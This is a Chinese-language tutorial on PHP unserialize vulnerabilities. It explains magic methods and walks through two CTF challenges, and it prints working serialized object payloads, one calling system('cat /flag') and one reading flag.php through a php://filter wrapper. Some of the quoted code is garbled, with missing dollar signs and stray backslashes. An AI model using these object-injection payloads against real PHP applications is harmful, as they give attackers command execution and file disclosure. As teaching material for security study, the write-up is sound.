反序列化之PHP

PHP 反序列化原理:

---未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。

---其实跟文件解析差不多,都是由于传递的恶意参数被执行(序列化和反序列化相当于加解密过程)

---在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

---序列化函数:serialize() //将一个对象转换成一个字符串

---反序列化函数:unserialize() //将字符串还原成一个对象精简

#触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法(魔术方法触发条件:1.反序列化2.存在类2.类中存在魔术方法):

__construct()//创建对象时触发

__destruct() //对象销毁时触发

__call() //在对象 上下文中调用不可访问的方法时触发

__callStatic() //在静态 上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性 上调**用 isset()或 empty()**触发

__unset() //在不可访问的属性 上使用**unset()**时触发

__invoke() //当脚本尝试将对象调用为函数时触发

其中:

__construct()//创建对象时触发

__destruct() //对象销毁时触发

__invoke() //当脚本尝试将对象调用为函数时触发这三个是经常被利用

1.没有class的情况下来尝试序列和反序列化

在本地从尝试:

简单代码:

复制代码
<?php
$obj=lllxxy;
echo serialize($obj)
?>

得到的结果是:s:6:"lllxxy";

这个的意思是说---string(字符串);变量长度为6;变量名"lllxxy"

再尝试反序列化(unserialize)

代码:注意要把之前的字符串全部复制然后用''单引号来实现,然后反序列化得到lllxxy对象

复制代码
<?php
$obj='s:6:"lllxxy";';
echo unserialize($obj)
?>

结果就是

2.含类的简单题--[SWPUCTF 2022 新生赛]1z_unserialize

题目描述

是很简单的反序列化噢

代码:

代码分析构造函数:因为a是一个函数,it赋值给他。然后lly是命令执行的命令,lly赋值到函数里面

我想直接system(6个字符)(cat/flag)(8个字符)应该能得到flag

<?php

class lyh{

public $url = 'NSSCTF.com';

public $lt="system";

public $lly="cat/flag";

}

$obj=new lyh();

echo serialize($obj);

?>

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

得到flag:NSSCTF{0201933e-8941-4759-bae4-82c871d70634}

3.[网鼎杯 2020 青龙组]AreUSerialz

整体代码:

<?php

include("flag.php");

highlight_file(FILE);

class FileHandler {

protected $op;

protected $filename;

protected $content;

function __construct() {

$op = "1";

$filename = "/tmp/tmpfile";

$content = "Hello World!";

$this->process();

}

public function process() {

if($this->op == "1") {

$this->write();

} else if($this->op == "2") {

res = this->read();

this-\>output(res);

} else {

$this->output("Bad Hacker!");

}

}

private function write() {

if(isset(this-\>filename) \&\& isset(this->content)) {

if(strlen((string)$this->content) > 100) {

$this->output("Too long!");

die();

}

res = file_put_contents(this->filename, $this->content);

if(res) this->output("Successful!");

else $this->output("Failed!");

} else {

$this->output("Failed!");

}

}

private function read() {

$res = "";

if(isset($this->filename)) {

res = file_get_contents(this->filename);

}

return $res;

}

private function output($s) {

echo "[Result]: <br>";

echo $s;

}

function __destruct() {

if($this->op === "2")

$this->op = "1";

$this->content = "";

$this->process();

}

}

function is_valid($s) {

for(i = 0; i < strlen(s); i++)

if(!(ord(s\[i]) >= 32 && ord(s\[i]) <= 125))

return false;

return true;

}

if(isset($_GET{'str'})) {

str = (string)_GET['str'];

if(is_valid($str)) {

obj = unserialize(str);

}

}

(1)构造函数

构造函数在类被创建时调用,这里将op初始化为字符1,并初始化filename= "/tmp/tmpfile";和content="Hello World!";,最后调用process函数。

function __construct() {

$op = "1";

$filename = "/tmp/tmpfile";

$content = "Hello World!";

$this->process();

}

(2)process函数

判断op的值,如果op=1调用write函数,如果$op=2调用read函数,并output读取到的内容。

注意这里的比较是弱比较,也就是说比较的时候会自动把等号两边的变量类型转换为一样,只要我们将op置为数字2,那么这里的第二个if中的弱等于就会返回true,从而执行read函数,并将结果输出

public function process() {

if($this->op == "1") {

$this->write();

} else if($this->op == "2") {

res = this->read();

this-\>output(res);

} else {

$this->output("Bad Hacker!");

}

}

3)write函数

写入函数,可以执行写入文件的操作,判断传入的内容content的长度是否大于100。

res = file_put_contents(this->filename, $this->content);

filename表示要写入的文件,content表示要写入文件的内容。

private function write() {

if(isset(this-\>filename) \&\& isset(this->content)) {

if(strlen((string)$this->content) > 100) {

$this->output("Too long!");

die();

}

res = file_put_contents(this->filename, $this->content);

if(res) this->output("Successful!");

else $this->output("Failed!");

} else {

$this->output("Failed!");

}

}

(4)read函数

read函数执行写的功能,通过file_get_contents函数读取想要读取的文件,值得注意的是,读取的内容并不会直接输出,要想查看输出的内容需要查看源码,或者使用filter协议来进行读取。

这里我们可以知道,题目提示有flag.php文件,我们可以利用read函数来进行读取flag.php文件的内容。

private function read() {

$res = "";

if(isset($this->filename)) {

res = file_get_contents(this->filename);

}

return $res;

}

(5)destruct函数

在php中,destruct会在序列化的时候自动调用。

这里判断$op的值是否为字符2,这里的比较为强比较类型,如果为字符2,就将op置为字符1,并将content置为空。

通过前面的分析我们知道,read函数是通过process函数来调用的,如果op被置为1,就不会调用read函数,于是我们要绕过,可以将令op等于数字2,这样在强比较下,$this->op === "2"是不成立的,实现绕过。

function __destruct() {

if($this->op === "2")

$this->op = "1";

$this->content = "";

$this->process();

}

}

(6)is_vaild判断条件函数

用于判断传入的字符串s的每一个字符的ascii码值,是不是都在[32,125]这个区间内,如果是则返回true,不是则返回false;

function is_valid($s) {

for(i = 0; i < strlen(s); i++)

if(!(ord(s\[i]) >= 32 && ord(s\[i]) <= 125))

return false;

return true;

}

(7)传参判断条件

get方式传入str,判断str是否都是可打印的字符,如果是就将str反序列化。

看到这里我们已经有了解题的思路,即将序列化的内容传入str即可。

if(isset($_GET{'str'})) {

str = (string)_GET['str'];

if(is_valid($str)) {

obj = unserialize(str);

}

}

首先我们令op等于数字2,绕过destruct函数的的强比较。

在上面我们提到read函数当中的 file_get_contents不能直接显示read文件的内容,这里我们采用filter协议来读取文件内容。

最后得到payload: ?str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:52:"php://filter/convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

<?php $flag='flag{c0aad4c3-81cd-48ca-bcd5-6c113ed144bd}';

相关推荐
BingoGo2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack5 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理6 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
feifeigo1236 天前
matlab画图工具
开发语言·matlab
dustcell.6 天前
haproxy七层代理
java·开发语言·前端